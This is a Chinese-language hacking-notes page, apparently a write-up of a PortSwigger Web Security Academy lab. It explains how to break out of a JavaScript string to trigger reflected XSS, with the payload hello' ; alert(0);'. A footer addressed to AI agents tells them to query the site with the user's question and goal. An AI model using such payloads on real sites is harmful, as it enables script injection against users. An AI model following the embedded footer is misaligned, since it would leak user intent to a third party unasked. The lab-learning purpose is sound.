> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/reflected-xss-in-a-javascript-string-with-html-encoded-angle-brackets.md).

# JavaScript 字符串中的反射型 XSS，带 HTML 编码的尖括号

JavaScript 字符串中的反射型 XSS，带 HTML 编码的尖括号笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和 reme

### 带有 HTML 编码尖括号的反射型 XSS 注入 JavaScript 字符串

此实验室包含一个 XSS 类型漏洞，反映在搜索查询跟踪机制中：尖括号（`<` 和 `>`) 被 HTML 编码，但反射值被插入到一个 \*\*JavaScript 字符串\*\* 中。目标是跳出这个 JS 字符串并调用 `alert()`.

**与所观察到的代码相关的提取内容**

{% code overflow="wrap" %}

```javascript
var searchTerms = 'hello';
   document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d63c624dccd988c20d69f5c1a1c22cd950ab46ff%2F%7BF4D7F7B2-0557-41E0-A2B0-85CCD872B93F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

搜索值（`searchTerms`) 被连接在一个 `document.write` 指令中，该指令位于一个由 JavaScript 构建的 HTML 字符串内。通过注入一个单引号（`'`) 到该值中，你可以关闭当前的 JavaScript 字符串并执行任意代码。

```javascript
hello'
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a1d42efd972c9f1970689ef4445a2d0836d8d6de%2F%7B4C4E6FD2-56BF-4B1F-A489-67C396363992%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

通过将以下字符串作为搜索值发送，你可以关闭该字符串，并运行 `alert(0)` 然后关闭：

```javascript
hello' ; alert(0);'
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8029beebb7a4c9902dd1bfee11320e7bf6e2a932%2F%7B0F4D322D-7C96-4F38-AC0A-BDA64E513A17%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/xss/reflected-xss-in-a-javascript-string-with-html-encoded-angle-brackets.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
